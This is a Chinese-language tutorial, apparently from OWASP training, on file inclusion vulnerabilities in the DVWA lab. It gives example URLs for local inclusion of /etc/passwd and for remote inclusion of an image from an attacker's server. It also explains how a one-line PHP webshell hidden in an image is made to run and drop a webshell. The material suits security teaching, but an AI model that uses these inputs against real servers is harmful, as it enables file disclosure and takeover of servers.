3.文件包含漏洞(OWASP实战训练)
文件包含也是正常的,
大家开发的时候会用到函数,学C时有包含头文件,这样做是你要写一个程序时,某个功能已经被封装在一个文件里了。
我们将某些功能写在一个文件里另其被包含,文件包含本身是正常的,如果开发另一个页面时会需要这个功能代码,另其可以重复使用。
配置文件也会包含,不仅是程序层面。如果开发人员没有认真写写了这个include *.php 或 include * 可能会将一个恶意的东西也包含进来如 /etc/password或者c.jpg
开发人员想要包含f.php或者g.php文件进来但写成了include *.php或 include * ,想要包含f.php是正常的,但如果将 /etc/password或者c.jpg包含进来就违规了。可能会问图片包含进来有什么用呢?
注意我们可以将一句话木马放到图片里面,我们要的是里面的代码不是图片本身,要的是里面的内容,可能有人会说执行会乱码,但一句话木马是正常的,如果是图片用文本工具打开是乱码,但我们写的一句话木马不是乱码,当图片被执行时会看到乱码也会看到那个图片执行的结果。
文件包含行为本身是正常的,但如果偷懒使用include * 之类的,我们如果上传图片,图片带有恶意木马,在执行这个index.php文件的时候,就会将包含文件图片里的代码一起执行。
这些文件有些写了路径,有些是相对路径(没写路径),实际上传图片可能和它不在一个地方,没关系,我们只要找到路径。
刚才这些包含都有哪些特性,
http://192.168.0.105/dvwa/vulnerabilities/fi/index.php?page=include.php
上面是文件包含漏洞
http://192.168.0.105/dvwa/vulnerabilities/fi/index.php?page=f.php(相对路径和index.php同一个目录)
http://192.168.0.105/dvwa/vulnerabilities/fi/index.php?page=g.php
http://192.168.0.105/dvwa/vulnerabilities/fi/index.php?page=c.php
http://192.168.0.105/dvwa/vulnerabilities/fi/index.php?page=/etc/passwd(绝对路径)
上面包含的文件都在本服务器上面,这是本地文件包含(LFI(local file incluSion))
那如果现在包含
http://192.168.0.105/dvwa/vulnerabilities/fi/index.php?page=http://web_server/c.jpg
这就叫远程文件包含(RFI)
文件包含本身是正常的,绿色是想要包含的(合情合理),但是左边的红色和下面的黄色是我们不想要的,但由于开发人员在主程序之中想要包含的时候并没有明确限定写清楚要包含的文件,那我们可以去包含其他文件。
远程文件包含比较容易,远程文件是自己控制的,令其访问自己控制的文件要比自己上传一个文件到其服务器上容易。
上传文件要通过重重困难。
如果可以包含图片,注意图片里面并不是一句话木马,菜刀是不能连的,我们是让图片执行并生成webshell。
我们只是让图片执行,令里面的代码执行,执行后生成一个木马文件,图片执行生成木马后其使命就完成了。
在低安全级别下,打开file inclusion这个模块,查看view source源代码,
<?php $file=$_GET[‘page’];?>
通过去GET page的值来包含一个对象。